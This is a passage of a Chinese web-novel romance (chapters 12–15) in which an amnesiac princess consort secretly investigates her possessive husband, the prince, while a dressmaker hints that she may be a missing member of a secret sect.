她白皙修长的后脖颈被悄然染上一层淡淡的粉红,这小小的变化被李京熠看在眼里,喉结上下滑动,嗓音压低了几分,“小九,从今往后,除我之外,不会有任何事物束缚住你。”
12. 第12章
到这王府已有三日,这三日里,府里上下一片祥和宁静,甚至比起云隐别院,还要寂静几分。
前些日子待在别院里,好歹还能听见山林间的虫鸣鸟叫。这王府里哪怕到了夜里寂静无人之时,都听不见蛰伏在墙角的虫鸣。
静得连虫鸣都听不见,魏沛鸾也不知她执意下山到底对不对。
这三日里,魏沛鸾已确定王府里的这一片湖泊与自己梦中一模一样。
白日里的时候,她在花园里闲逛,不经意似的仔细看过砌在湖边的青石块,有一处豁口像是刚砌上去不久,她猜测那个地方便是她掉入湖里的位置。
李京熠还是像在别院时一样,一天有大半时间待在书房之中。魏沛鸾从未去打扰过,也并不好奇他在做什么。
有一回路过,她倒是远远地瞧见过,他的书房门紧闭,屠刃持刀站在门外。
她独自待在广寒院里无所事事,想要从府里出去外面街道上看看,李京熠却依然不允许。
她要查清李京熠伤她的真相,要想办法弄清两个月之前发生的事,可她不知该信任谁。夜夜宿在她枕边的人要杀她,她还有谁可以信任?
自从确认了梦中之事后,魏沛鸾可谓是日日都过得提心吊胆,生怕在李京熠面前露馅。
她要寻机会出府去,要接触到王府之外的人,才有机会查清她想知道的事情。
终于在连续几日的软磨硬泡之下,李京熠答应让她外出,但必须让青蓉跟着,并且一个时辰之内就要回来。
这对于魏沛鸾而言,自然是不打紧,只要李京熠不与她一起,怎样都好。
昨夜下过一场大雨,今日天气凉爽不少。
魏沛鸾与青蓉从王府出去,她掀起帷帽上的薄纱,扫视周围一圈,并未发现任何异样。
青蓉见状,连忙提醒道:“王妃!王爷特意嘱咐您不可在大街上露面,还请快将帷帽戴好。”
“知道知道,我就瞧瞧罢了。”李京熠并不全然放心她,不仅让青蓉时刻盯着她,还特意让她戴上这碍事的帷帽。
街上熙熙攘攘,终于是有了一丝人间烟火气。
“王妃!那儿人多,咱们别往那儿去!”青蓉连忙压低嗓子道。
魏沛鸾回头冲她笑笑,“不要紧的!你只要不叫我王妃,便没人知道我是谁。”
话是这么说没错,但魏沛鸾要的就是让旁人知晓她是谁。唯有这么做,识得她容貌的人才会主动找上她。
往前走了不多久,魏沛鸾瞧见前头有一家成衣铺子,进进出出有许多打扮不俗的女子。
她脚步迟疑,想着既然在大街上摘不下这帷帽,那便进去一家可以摘下这帷帽的地方。
当青蓉在看清魏沛鸾要往哪儿去时,已经来不及叫住她,只能连忙跟上。
铺子里人多得很,魏沛鸾一进去,瞧见这人挤人的场面,便觉得这帷帽碍事,于是赶紧摘下。
青蓉好不容易挤到魏沛鸾身侧,见她摘下帷帽,那是惊得后背一身汗,连忙压低嗓音道:“王妃!您不能摘下帷帽!”
这儿人多,不失为一个露脸的好机会,魏沛鸾此时故意装听不见,顺势将帷帽塞进她手里,再迅速拔腿往里走。
青蓉急得不得了,拼命往里挤。
魏沛鸾左瞧瞧右看看,故意在人前驻足良久。其中有人会好奇地看她一眼,有人则是嫌弃她挡路。总之,并未有人主动上前搭话。
难道这个方法行不通?
魏沛鸾退至墙角,找了个不起眼的地方站着,仔细去瞧这店里每一个人的脸。
可即使看得再真切,这一张张脸对于她而言,都十分陌生。
“这位小姐,可是没瞧见满意的?”
闻声,魏沛鸾转头看去,只见一位气质温婉的女子站在她身侧。
好不容易有人与她搭话,魏沛鸾自然是欣喜,连忙笑着接话道:“店内人头攒动,一时不知是该看人还是看衣裳,当真是看花了眼。”
女子抿嘴笑了笑,问:“这位小姐瞧着面生,是第一回来我们这金缕阁吧?”
“你是老板?”魏沛鸾很是惊讶,眼中满是敬佩。
“我不是老板,我爹才是。”说着,女子伸手往不远处一指,“不过,这店里衣裳的式样,大多是我画的。我瞧着,这位小姐很适合这一身。”说完,女子微微侧身,露出身后一件紫色的衣裙来。
魏沛鸾进来的目的并非是要买衣裳,不过既然有人主动与她搭话,她自然不愿错过,于是点头道:“我可否试一试?还请这位姐姐帮忙。”
“我叫芙蕖。”女子笑着说道。
魏沛鸾点点头,默念了一遍她的名字,“芙蕖?真是好听。”
眼看着王妃要进入里间试衣裳,青蓉连忙跟上去,低声道:“王妃,您要是喜欢这衣裳,改日咱们请这金缕阁的裁缝去府上为您量身定做就好,您不可在外……”
“好了。”魏沛鸾转过身来打断她的话,“你在这儿候着,有芙蕖帮我,我很快出来。”
青蓉还想抬脚跟进去,谁知芙蕖却对她微微一笑,随后关上了门。
隔绝掉门外的吵闹声,耳边总算是清净了下来。
“敢问小姐如何称呼?”芙蕖将手里的衣裙放下,转头问道。
“我姓魏,名沛鸾。”
芙蕖走近她,不动声色地将她打量一番,视线在她那一颗小小的鼻尖痣上停留很久,随后为她宽衣,脸上挂着淡淡的笑,“原来是端王妃,有幸能为王妃试衣,是民女的荣幸。”
魏沛鸾一听,又惊又喜,“你认识我?”
听她这么问,芙蕖反而是抬头看了她一眼。但她举止得当,并未让人觉得逾矩,“王妃与端王感情很好,这在北苍城中,是一段佳话。听说,王妃先前一直在云隐别院中休养?既已下山,是身子已然痊愈了?”
魏沛鸾点头,试探着问:“我与你从前可见过?”
“恕民女斗胆,王妃的确长得很像我一位妹妹。”说着,芙蕖借故为她整理头发,有意瞥了一眼她耳后,像是在确认什么,随后
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眼底覆上一层落寞,带着歉意笑道:“是民女失言,还请王妃不要怪罪。”
“你妹妹叫什么名字?”
“她出生在九月,于是家里人唤她小名为……”
“王妃!”门外传来青蓉焦急的声音,骤然打断芙蕖的话。
魏沛鸾无奈叹一口气,见芙蕖已为她整理好衣裳,于是转身去开门,语气中带了一丝责备,“我这不是在这儿吗?你瞧瞧,这身衣裳可衬我?”
青蓉见王妃久久不出来,心里自然是着急,“王妃,您穿什么都好看。只不过,时辰不早了,我们该回去了。”
“这才出来一会儿呢!”魏沛鸾转身回到屋内,站在铜镜前瞧了瞧。
芙蕖为她整理外衣,又有意看了她一眼,犹豫一会儿之后,说道:“王妃,这衣裳穿在您身上,腰身似乎宽了一寸,民女想再改改。改日您若是得空,可否再来一趟金缕阁?这衣裳定能改得让您满意。”
魏沛鸾此次并非是要买衣裳,听芙蕖这么说,心里盘算着这也就有了下一次出门的理由,于是欣然答应:“好。”
从金缕阁出来,魏沛鸾戴上帷帽,仔细回想方才芙蕖那句未说完的话。
她说她的妹妹出生在九月。
九月?
这不禁让她联想到李京熠唤她为“小九”。
是巧合吗?
这么想着,魏沛鸾忍不住回首望向金缕阁的方向,就在她即将转身的瞬间,肩膀猛地被人撞了一下。
猝不及防的冲力让她身形一晃,脚下踉跄,眼看就要摔倒,幸而那撞人者眼疾手快,一把扶住了她的手臂。
“姑娘,你没事吧?”
恰在此时,一阵微风拂过,轻轻吹起了她帷帽的薄纱一角,露出了魏沛鸾那张清丽绝俗的容颜和一双如星辰般灿烂的眼睛。
当男子与她四目相对时,竟仿佛被那一双眼眸勾去了三魂七魄,整个人愣在原地,许久都没能回过神来。
魏沛鸾吓了一跳,缓过劲来后,才答道:“多谢公子,我无碍。”
青蓉见王妃的手臂还被那男子紧紧抓着,用力咳嗽两声,提醒道:“公子,还请你松开我家夫人。”
“对不住!”被提醒的男子赶紧慌张地松开,可视线并未从魏沛鸾身上移开半寸,“是我走路不当心,还请夫人见谅。”
魏沛鸾缓缓摇头,“无碍,不怪你。”
眼前的男子瞧着年纪似乎比她小,容貌却是俊朗,一副书生打扮,但腰间佩戴着一块品质极佳的玉佩,显然是非富即贵的人家。
青蓉为魏沛鸾整理好帷帽,提醒道:“夫人,咱们该回去了。”
魏沛鸾欲转身离开,谁知男子突然出声问道:“敢问夫人是否当真无碍?可需要我叫大夫为您上门诊治?”
“无妨。”话音一落,魏沛鸾便转身离去。
走出去一段距离后,青蓉回头去看,忍不住嘟囔道:“王妃,那书生真是好没礼数!”
魏沛鸾但笑不语,只觉那是个有意思的人。
13. 第13章
“小九在外遇见了什么趣事?”李京熠注意到她回府之后,心情便不同于往日,瞧着脸上有了些笑容,“可愿与我说说?”
魏沛鸾放下手中喝汤的勺子,眉眼带笑,“我竟没想到北苍城中这样热闹非凡,前些日子在别院里,闷得很!今日出门一瞧,总觉得任何事物都十分新奇。”
“哦?”李京熠认真地看着她,故作一副好奇的模样,“可有遇到特别的事情?”
“我在金缕阁中遇见了一位十分合眼缘的女子,与她相谈甚欢。”魏沛鸾并未详细与他说明在府外发生的事,“金缕阁门庭若市,衣服的式样新奇,我都挑花眼了。”
“但小九似乎是空手而归?”
魏沛鸾冲他甜甜地笑笑,扑闪着一双亮晶晶的大眼睛,“芙蕖说那衣裳不太合我的身,让我改日再去金缕阁取。”
“芙蕖?”李京熠喃喃道这个名字,眼底闪过一抹警觉,“从前倒是听过金缕阁这个名号。”但芙蕖此人,闻所未闻。
瞧见他的脸色并无明显的变化,魏沛鸾接着问:“那你的意思是,我可以出去?”
听出她语气中的小心谨慎,李京熠反倒是笑了起来,笑容温柔且令人感到舒心,“自然。”
居然这么轻松就答应了?
魏沛鸾疑惑地看他,还不等她问出心中疑虑,便又听见他说:“到时我与你同去,我也想去见一见与你合眼缘的芙蕖。”
果然不是那么容易的事。
魏沛鸾垂下眸子,强压下眼底的不满,试图让他打消这个念头,“但是,金缕阁只为女子做衣裙,你一个大男人去,恐怕不合适吧?”
闻言,他轻笑一声,“小九不愿我陪你一同前去?”
既然他听出这言外之意,魏沛鸾微微点头,声音柔下来几分,生怕惹他生气,“我与青蓉一同前去就好。”
既如此,李京熠不再坚持,而是岔开话题问:“除此之外,今日还有何趣事?”
不等魏沛鸾平复心绪,又听见李京熠接着问。
一个接一个的问题,像是在审讯犯人。
尽管他的语气还算和善,但这话钻入魏沛鸾的耳中,不禁让她心生不悦。于是,她故作生气,微微侧过身去,“你怎么这么多问题?难不成,你是在审讯我?”
“小九当真是错怪我了,我也是因为担心你啊。”李京熠连忙轻声细语地哄道:“你大病初愈,任何事物都不记得,万一又遇上像两个月之前的事,你叫我如何是好?”
魏沛鸾一对好看的柳眉紧锁,听他这么说,确实有几分道理。
可如今的魏沛鸾又岂会被他三言两语所打动?只是苦于找不到证据,才不得不听从他的一言一行。说不定哪一日,那一把长剑又会刺穿她的胸口。
再抬眼时,魏沛鸾眼尾悄然泛红,嫣红的嘴唇微微往下弯出一个弧度,委屈得很,“话虽如此,但你一定不会再让此等事发生,对吗?”
“那是自然。”
“既如此,我又何须事事小心呢?”魏沛鸾反问他。
“小九……”这一副我见犹怜的模样,着实让李京熠束手无策,“好了,我不问就是了。”
但即便他不问,也不见得他不知。
-
本以为昨日出门并未引起谁的注意,可今日时辰还早时,永安侯府派人传话来,说今日侯夫人与二公子会登门拜访。
魏沛鸾还在纳闷这二人是谁时,便听见李京熠很是高兴地对她说道:“是灵儿要来。”
“公主?”魏沛鸾疑惑不已,“前些时日还想着有时间要去见一见,没想到她今日会来。”
李京熠许久未见这个妹妹,听到她要来的消息,自然也是极其高兴,嘴角挂着的笑意藏都藏不住,“你与灵儿定能合得来。”
魏沛鸾的确是想见一见李灵,只是不知她知不知道从前关于她与李京熠的事。
不过既然李京熠说她与公主从未见过,想来公主对她与李京熠的事,也是不甚了解。
“还有一位二公子,是?”
“永安侯的胞弟。”说到这里,李京熠脸上的笑意逐渐褪去,随后有意看向她,“不过,二公子是个有意思的人。永安侯是个武将,可他这个弟弟却偏爱读书。”
确实奇怪。
魏沛鸾点点头,好奇地问:“我从前见过他吗?”
否则,为何他会来登门拜访?
“未曾。”李京熠狭长的眸子里闪过一丝冰冷。
既然未曾见过,魏沛鸾心中便收起几分好奇。
想来,从二公子口中无法得到任何线索。
永安侯府派人来传话后不久,便有一辆马车停在端王府门前。
魏沛鸾正在广寒院中看话本打发时间,前院的人来通禀,她这才放下书本,起身往前院去。还不等她走到前院,便听见大门外热闹得不得了。
丫鬟小厮们聚集在大门前,哼哧哼哧地往里搬运着大大小小的木箱子。
魏沛鸾好奇地走近去看,只见李京熠正在同一女子说话。那女子长相甜美可人,穿一身鹅黄色的长裙,衬得整个人夺目耀眼,她的眉眼与李京熠很相像。
看来,这位便是五公主李灵了。
魏沛鸾正打算再走近些,不料余光一瞥,突然瞧见李灵身旁一个眼熟的身影。
那不是昨日在街上撞到的那位书生吗?
他怎会在此?
疑惑不已的魏沛鸾不动声色地将他打量一番,难道他便是永安侯的胞弟?
“小九。”李京熠注意到她,疾步往她这边走来,牵着她的手走近李灵,向她介绍道:“这是灵儿。”
李灵一见到魏沛鸾,便不由得惊叹了一声,“皇兄,怪不得你不让嫂嫂见外人,原来是因为长得太美,怕被别人看了去吧?”
“休得胡言!”李京熠立刻冷下声来,连脸色也骤然冷了几分,“方才还说你长大了懂事了,转头便来打趣你的嫂嫂?”
闻言,这会儿还笑容满面的李灵见李京熠动怒,立马正色起来,随后向魏沛鸾说道:“嫂嫂,对不住,是灵儿失言。”
李灵一下子收起脸上的笑容,这倒是让魏沛鸾的神色有些尴尬。不过是一句无心的话罢了,魏沛鸾也并不放在心上,赶紧开口道:“不碍事的,李京熠也时常这样吓我。”
“怎能说是吓你?”李京熠皱眉。
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小厮们正往府里抬一个大木箱子,险些撞着魏沛鸾,李京熠眼疾手快,立即将她揽入怀里,“当心。”
小厮一瞧这情形,吓得立马跪地,“是奴才不长眼!请王爷恕罪!”
端王府门前,更何况还有外人在,李京熠并未表现出脸色太过难看,只是瞥了一眼路管家,示意他去处理此事,随后低头去看怀里的人。
“皇兄和嫂嫂,感情还真是好啊!”见此情形,李灵笑了笑,随后转身对一旁的程敬之说道:“二弟,你初次登门,我皇兄和嫂嫂你现在也都见过了,我带你进去端王府瞧瞧。”
始终一言未发的程敬之想不到那一日在街上撞到的女子竟是端王妃,此时瞧见此景,几乎是愣住了,全然没听见李灵在说的话。
“二弟?”李灵又叫了他一声。
程敬之回过神来,飞快地从魏沛鸾脸上移开视线,神色有些慌张,磕磕绊绊道:“大嫂,走……走吧。”
李灵转身往王府里去,熟练地像是回到了自己的家。
魏沛鸾从李京熠怀里探出头去看,直觉程敬之若是再用这样看入迷的眼神去看她,会很危险。
李京熠将一切收于眼底,圈在她腰间的手用力几分,“那个书生就那么好看?”
“哪有你好看?”魏沛鸾笑着从他怀里挣扎出来,指着这些大箱子问:“这些箱子里的是何物啊?”
“全都是灵儿搜罗来的补品,专程带来赠予你。”
“这么多?”魏沛鸾看着这一箱又一箱地往里搬,惊讶不已,“她这是买了多少啊?”
李京熠却是不以为然,“她愿意为你这样做,我倒是很欣慰。这说明,她很喜欢你。”
“这实在是太多了,我可要好好谢谢她。”说着,魏沛鸾拔腿往里走。
李京熠大步追上去,冰冷到骇人的视线再次扫了一眼程敬之的背影。
没想到年纪不大,野心不小。
精力旺盛的李灵轻车熟路地往王府里走,一路向程敬之叽叽喳喳地介绍王府各处,也不管他有没有在听。
程敬之自然是无心听她说这些,在注意到身后有脚步声之后,便刻意放慢了脚步。
魏沛鸾并非是要追上程敬之,而是要追上走在前头的李灵。但程敬之有意放缓脚步,这倒让魏沛鸾不得不与他并肩同行。
“你是端王妃,那日在……”
“无碍!”魏沛鸾骤然打断他的话,生怕被跟在身后的李京熠听了去,“二公子,我与公主有话要说。”
远离是非才是明智的选择,况且魏沛鸾能清晰地感觉到身后那一道灼热的视线,仿佛要把她的后脑勺看穿。
撂下这句话之后,魏沛鸾快走两步,追上李灵。
“嫂嫂?”李灵自顾自聊得十分尽兴,一转头发现身后的人是魏沛鸾,着实吓了一跳,“嫂嫂有话要与我说?”
魏沛鸾笑着点头,“听李京熠说,门外那些箱子里的都是你带给我的补品,真是多谢。”
“这有什么谢不谢的,你既然是我的嫂嫂,那我们就是一家人了!”李灵笑地很开心,露出两颗可爱的虎牙,“不过嫂嫂,我听说你受了重伤,记不起从前的事了?”
14. 第14章
“嗯。”魏沛鸾点头,并未多加隐瞒,随即追问道:“不知公主从前可与我见过?可愿与我说说从前的事?”
李灵犹豫片刻,仔细回忆道:“嫂嫂,其实我从前并未见过你。但听说你自小身子不好,所以常年待在将军府休养,鲜少出门。今日一见你,却觉得一见如故!皇兄真是把你藏得极好,这城中见过你真容的,恐怕还真没几个人。”
原来如此。
魏沛鸾听她说完,表情沉重。
这样说来,要想找到从前认识她的人并询问往事,大概很难。
“嫂嫂,既然你鲜少从将军府出来,那你与我皇兄是如何认识的?”李灵心直口快,问出这话后,才惊觉失言,“对不住!我忘了嫂嫂你不记得从前的事了。”
魏沛鸾淡淡一笑,“我也想知道。”
但对于此事,魏沛鸾并不奢望从李京熠的口中听到实话,也不愿去问他。他对她隐瞒了太多事,魏沛鸾已分辨不清哪些是真话,哪些是假话。
“小九,脸色为何这般苍白?”跟在身后的李京熠大步上前,一把拉住她的手,“是日头太晒了?”
他的手掌宽大有力,与她的掌心紧紧相贴,源源不断传给她温暖。
可这艳阳高照的六月天里,她不需要这样的温度,于是挣扎着抽回手,用帕子擦了擦额头上并不存在的汗,“嗯”了一声。
李灵瞧见他们这般恩爱的模样,在一旁捂嘴笑道:“实在是怪我!嫂嫂大病初愈,恐怕不能在日头下晒这么久,我带二弟去逛逛就好,皇兄你快陪嫂嫂去阴凉处歇息吧!”
魏沛鸾小心翼翼地瞄了眼李京熠,方才在外人面前松开他的手,恐怕他是生气了。于是赶在李京熠一言未发之前,她转身往阴凉处去。
走在后头的程敬之将一切默默看在眼里,待魏沛鸾走远,视线一时半会儿还定在她身上,久久抽离不开。
李灵瞧瞧走远的两个人,又瞧了瞧程敬之,凑过去悄悄说道:“二弟,即使王妃长得再美,你也莫要再看了。”
被戳穿心思的程敬之慌慌张张地收回视线,神色有些尴尬,吞吞吐吐道:“我……我没看。”
“那便走吧,我带你四处转转。”李灵催促他。
程敬之咳嗽一声,整理好情绪,抬脚跟着李灵往里走。
见他们二人走远,廊下阴凉处,魏沛鸾这才转身去看李京熠。他的脸色是意料之中的冷,果然方才的举动是惹他生气了。
还不等魏沛鸾主动开口认错,便听见李京熠问:“你与那程敬之认识?”
“不认识。”魏沛鸾下意识否认,不想引起不必要的事端。
李京熠却不信,继续问:“那他与你说的那半句话,是何用意?”
“哪半句话?”魏沛鸾明知故问,眨着一双好奇且明亮的大眼睛望着他。
李京熠岂会不知那日在街上她遇见了何人?
这会儿只不过是想确认一件事,确认魏沛鸾是否对他生疑,是否有意瞒他。
“小九与他,当真是第一次见?”
瞧他这咄咄逼人的气势,魏沛鸾故作委屈,用帕子掩面,声音柔软下来几分,“王爷为何不信我呢?这般询问,真是让人好伤心。”
李京熠眯起狭长的眸子去打量她,仔细分辨她表达出来的那细微的表情。过了好一会儿,才又问了一次,“小九与他,是否当真第一次见?”
难道是故意服软这一套在李京熠面前已经不起作用了?为何他还要问呢?
难不成昨日发生的事,他已全都知晓了?
冷静想想也对,青蓉伺候在她左右,事无巨细,自然是逃不掉的。
“我怕我说了,会惹你生气。”既然躲不开,便只能如实回答了,“昨日回府时,我一不小心撞着他……与他说了两句话。但我今日才知晓他的身份。之所以不愿承认,也是怕你为我担心。”
区区一个永安侯府二公子,李京熠倒还真是不放在眼里。
即便是永安侯,李京熠也不放在眼里。
永安侯一向与他不对付,这在朝中人人皆知。
可自己一母同胞的亲妹妹偏偏被赐婚永安侯,这是李炎的手笔,故意膈应他。
今日李灵突然与程敬之登门,这恐怕并未得到永安侯的准许。
“我自然是为你担心。”李京熠扣住她的肩膀,认认真真地说道:“我希望小九从今往后,能与我坦诚相待。”
“那你呢?”
李京熠皱眉,“我?”
“我希望你也能与我坦诚,不对我有任何隐瞒。”
闻言,李京熠却笑了。
仿佛这真的是一句很有意思的话,连他深邃的眼眸中都带着浓浓的笑意,“我对小九自然是坦诚相待。”
肩膀上的那双手十分用力,捏地魏沛鸾不禁眉头微微蹙起。她不得不服软,主动扑进他怀里,脑袋靠在他的胸膛,听着他铿锵有力的心跳。
不知这其中,又有几分真,几分假?
-
午膳时分,逛了大半日园子的李灵与程敬之自然是留在王府用膳。
魏沛鸾刻意避免与程敬之搭话,他那一双让人无法忽视的目光却一直有意无意地落在她身上。
这么赤.裸.裸的目光,时刻关注魏沛鸾的李京熠怎会察觉不到呢?
更何况,李京熠本就不待见永安侯,连同他的胞弟,他自然也是不待见。
这会儿是他自己不识趣,李京熠又岂会放过他?
思索一会儿,李京熠冷不丁开口问道:“二公子可有婚配?”
“没有。”程敬之躲闪开李京熠气势逼人的视线,垂下那双清澈明亮的眸子,落在手边的茶杯上。
李京熠故作惋惜地轻叹一口气,“那还真是可惜了。”
“可惜?”
“二公子一表人才、仪表堂堂,比起永安侯那可谓是人模人样太多,竟会还未婚配?”
这话一出来,急的人先是李灵,“皇兄!你说什么呢?!”
李京熠冷冷地睨她一眼,幽幽道:“我哪儿说错了?”
李灵察觉到他神情不悦,自知不能在此时与他争辩,于是不高兴地撇嘴,嘟囔道:“懒得跟你说!”
“难道二公子已有看得入眼的姑娘?”李京熠转头继续问,丝毫不程敬之喘口气的机会。
程敬之从前在侯府里只知埋头读书,碍于哥哥是永安侯的缘故,在北苍城中也是被人以礼相待。眼下遇到这样的情况,一时间支支吾吾,不知该如何作答。
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这人毕竟是李灵带来的,今日前来也只为是让他多见见世面。这会儿瞅见情形不对,她插话道:“二弟喜欢读书,所以才无心顾及终身大事。皇兄,你就别想当媒婆了。我作为他的大嫂,会替他留意的。”
李京熠冷笑一声,连自己的亲妹妹也不留情面,“你与二公子同岁,你俩做个玩伴尚可,这等终身大事,你能做得了主?”
被这么一怼,李灵只能愤愤不平地瞪一眼李京熠,也不敢再出声辩驳。
在侯府时,程远之便总说她长不大似的像个孩子。成日去打扰程敬之不让他看书,完全不像侯府夫人的做派。所以平日里,李灵与程敬之更像是一对姐弟。
“多谢王爷好意。”程敬之安静了好一会儿,终于出声道。
魏沛鸾咽下口中的食物,用余光瞥了眼程敬之,心想他原来并不似外表看起来那么文弱,居然敢在此时插话进来。随后,她不动声色地看向李京熠,果然注意到他的脸上被阴郁笼罩。
魏沛鸾想要开口解围,但在这个节骨眼上,她不该说话,否则会被李京熠以为她有意偏袒一个外人,那便更会对她起疑。
李灵早已闻到饭桌上有一股淡淡的火药味,于是在桌子底下踢了程敬之一脚,眼神示意他不要再说话。
这一顿饭吃得魏沛鸾格外忐忑,幸好她一直缄默着,免了许多麻烦事。
午后,李灵想与魏沛鸾一同出府游玩。
意料之中,那自然是被李京熠拒绝。
没办法,李灵只能与程敬之离去。
送别他们二人后,魏沛鸾回到广寒院中。
李京熠今日未去书房,而是跟随她回到了广寒院。
魏沛鸾在窗前坐下,在拿起话本之前,疑惑地望了他一眼,却没出声。
李京熠挨着她坐下,抬手抚过她被风吹乱的发丝,“小九今日怎么话这么少?”
他一定是觉察出了什么,所以才故意这样问。
当他的指尖触碰到她的侧脸时,魏沛鸾不动声色地躲开了。
动作很细微,像是不经意。
李京熠注视着她耳后某一处不存在的印记良久,随后轻笑了一声。
魏沛鸾不明所以,正打算把脸转向他时,冷不丁听见他出声道:“程敬之似乎不这么想。”
为何好端端的说起他?
他不是已经同李灵离开了吗?
魏沛鸾翻过一页话本,漫不经心地岔开话题,“你今日不去书房?”
“我不会再让他见你。”
这话不可避免地钻入魏沛鸾耳中,反倒让她不禁皱眉,“此话何意?我不明白。”
李京熠一把拿走她手中的话本,随意扔在一旁,“那毛头小子一见到你,痴痴地看向你的眼神,恐怕是连自己姓什么都忘了。”
“你也说了,他只是个毛头小子。”魏沛鸾并非有意为他辩解,只是眼下这情形若是再不辩驳,怕是真的会让李京熠认为自己对他有什么。
李京熠的眼中隐忍着愤怒,没来由的愤怒。
魏沛鸾不愿再去看他,无奈地移开视线。
这一个小小的动作彻底让李京熠的心里燃起熊熊怒火,他钳住魏沛鸾的下巴,让她直视自己,“为何不愿看我?”
15. 第15章
魏沛鸾不吃痛,下颌骨被捏地生疼,过了一会儿便不由得红了眼眶,扑闪着湿漉漉的杏眼望着他,开口时,声音里带了几分颤抖,“李京熠,你松开我,疼。”
李京熠原以为一切尽在掌控之中,可自从下了山之后,一切开始不受他掌控。
或许,就不该让她下山。
他抬手擦去魏沛鸾眼角的泪,与她对视良久,像是要在她的眼中寻找什么。最终,在她的眼中什么都没寻到,“小九,你不要有事瞒我。”
“那你呢?”魏沛鸾浑身微微发抖,眼泪无声地从光滑的脸颊滑落,“你有事瞒我吗?”
温热的眼泪滴落在他的掌心,缓缓滑落至他的手腕。李京熠瞳孔骤缩,从这句话里听出一丝十分明显的意味,“你知道什么?”
下颌已经麻木,魏沛鸾垂下眸子,长长的睫毛上挂着晶莹的泪珠,“不知道。”
李京熠眸光一闪,闪过一丝不解。
“我不知道,我该知道什么。”魏沛鸾接着说道。
那一丝不解很快变成了然。
李京熠凑近她,与她额头相抵,蛮横地侵占她的气息。
魏沛鸾被禁锢着,无论如何都躲不开。此时此刻,她像是在赌气,紧紧咬着牙关不让他得逞。
李京熠不与她较劲,手上稍微一用力,魏沛鸾便彻底没了反抗的力气。
麻木迅速扩散开来,魏沛鸾闭着眼睛,不去迎合,也不再抗拒,更不去看近在咫尺的人,也不愿去想他为何要这么做。
远处的蝉鸣声穿透午后的寂静,混合着一阵令人面红耳赤的沉重的呼吸声钻入耳朵里,悄然将她白皙的皮肤染红。
被他松开时,魏沛鸾浑身无力,蔫蔫地蜷在他怀里,那双亮晶晶的眼睛里,弥漫着一阵久久不肯散去的意.乱.情.迷,过了好一会儿都没缓过神来。
李京熠将她紧紧搂在怀里,安慰似的轻轻拍着她单薄的后背。
“为何这般对我?”分明是一句质问的话,可从她的喉咙发出的声音里,夹杂着一丝动情后的沙哑。
李京熠垂眸看她,指腹轻轻扫过她红肿的唇瓣,温柔道:“自然是因为我心里有你,才忍不住与你亲近。”
是这样吗?
魏沛鸾抬眼看他,却突然掉进他深邃的眼眸之中,差点被那一汪温柔的湖水溺死,随后飞快地撇开视线。
既然心里有她,又为何要杀她?
这不是一个捅破窗户纸询问的好时机,魏沛鸾合上微张的嘴唇,红肿的唇瓣却不小心擦过他的指腹,惹得她睫毛轻颤。
李京熠呼吸一沉,挑起她的下巴,再次吻了上去。
-
自从那一日李灵与程敬之来过王府后,过了两天,李灵又来了。
不过这一次,李灵是独自前来的。
正巧这天魏沛鸾想去金缕阁,于是她央求李京熠能让她与李灵一同前去,这也恰好可以打消李京熠想要一同前去的念头。
好在李京熠今日心情不错,又拗不过两个人一起求他,只能不情不愿地答应下来。
马车在金缕阁前停下,魏沛鸾今日出门没戴帷帽,一从马车上下去,便快步往金缕阁里去。
芙蕖正在店内忙碌,见魏沛鸾来了,赶忙迎上去,“王妃。”
“嗯。”魏沛鸾点头,随后向芙蕖介绍起一旁的李灵,“芙蕖,这位是永安侯夫人。”
“永安侯夫人?”芙蕖一惊,急忙行礼道:“民女见过五公主。”
“无需那么多规矩。”李灵一进入金缕阁,瞧见这么多好看的衣裙,便有些跃跃欲试,“我今日来这儿,主要也是想看看这金缕阁的衣裙。”
芙蕖微微点头,见她心无城府,便从容道:“五公主且慢慢看,若是有看上的,我再为您试衣。”
“好。”李灵应了一身,随后迫不及待地转身去看店内琳琅满目的衣裙。
魏沛鸾跟随芙蕖进入里间试衣,依旧没让青蓉跟进去。
今日店里不似几日前那般人多,所以也安静不少。
趁着这会儿芙蕖为她试衣,魏沛鸾装作闲聊的样子,压低声音问:“芙蕖,那日你说你有个妹妹出生在九月?”
“是。”闻言,芙蕖有些惊讶,竟没想到她还记得。
“出生在九月,那她叫什么名字?”
芙蕖正在为她整理衣袖,有意查看了一番她的手掌。她白皙的掌心并无常年练剑所致的厚茧,相反,她肤若凝脂,除了这一张脸以外,完全不像她记忆中的那个人。
可天下间哪有这般凑巧的事?
“小九。”芙蕖回答道:“她小名叫小九。”
此话一出,魏沛鸾却愣住了。
她望着镜中的芙蕖,仔细与她对比相貌,并无一处相像。
是自己的错觉?
是自己太过疑心了?
可好不容易从王府出来一趟,魏沛鸾并不想就此作罢,接着问:“小九是你的亲妹妹?那她现在人在何处?”
“我与她从小一起长大,她犹如我的亲妹妹。”说着,芙蕖刻意停顿了一下,“但在几个月前她离开家后,便突然消失了。”
“原来如此。”魏沛鸾听后一阵唏嘘,“那她去了哪里?是在何处消失?”
听她这么问,芙蕖的目光从她脸庞一扫而过,“不知去了何处,也不知在何处消失。”
难道,只是巧合?
若是自己真的与她消失的妹妹有关联,芙蕖为何不明说?
现下并无外人,可芙蕖似乎并不打算再多言。
看来,当真是自己多疑了?
虽然父亲与阿姐对她的态度冷淡,但她终究是魏大将军府的三小姐魏沛鸾。
这一点,她不该怀疑。
难不成,李京熠会在此事上欺骗她?
那未免也太耗费人力物力,太耗费心神。
眼前这位女子确实让她疑心,但话已说到这个份儿上,她还不为所动,芙蕖不禁纳闷起来。可为了不打草惊蛇,她只能暂且岔开话题,“王妃,您觉得是否合身?”
魏沛鸾看向镜中的人,点头道:“合身。”
“王妃喜欢就好。”芙蕖浅笑道。
魏沛鸾欲转身出去,可思索再三,还是忍不住问了一句:“我与你妹妹,长得像吗?”
闻言,芙蕖微微一愣。
面前的女子虽然与她要找的人十分相像,但如今并没有证据。
更何况,若是她真是她要找的
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人,为何又会问出这句话?
并且,在那一日见到她时,为何没有认出她?
最重要的一点是,她耳后没有印记,干干净净,什么都没有。
那是独属于影阁的印记,就算要用药水洗净,也绝不可能一丝痕迹都没有。
此事不可操之过急,她蛰伏北苍城已久,不能轻易暴露自己的身份,此事要从长计议。
“王妃的美貌,世上恐怕无人能及。”芙蕖笑着回答道,随后走去打开了门。
门外的青蓉见状,疾步走过来。
李灵也跟了进来,在见到魏沛鸾这一身衣裙时,被震惊到挪不开眼,“嫂嫂!你衣服真是衬你!要是我皇兄看见了,估计腿软得都快要走不动道了!”
魏沛鸾拉过一旁的芙蕖,笑道:“这都是因为芙蕖心灵手巧!”
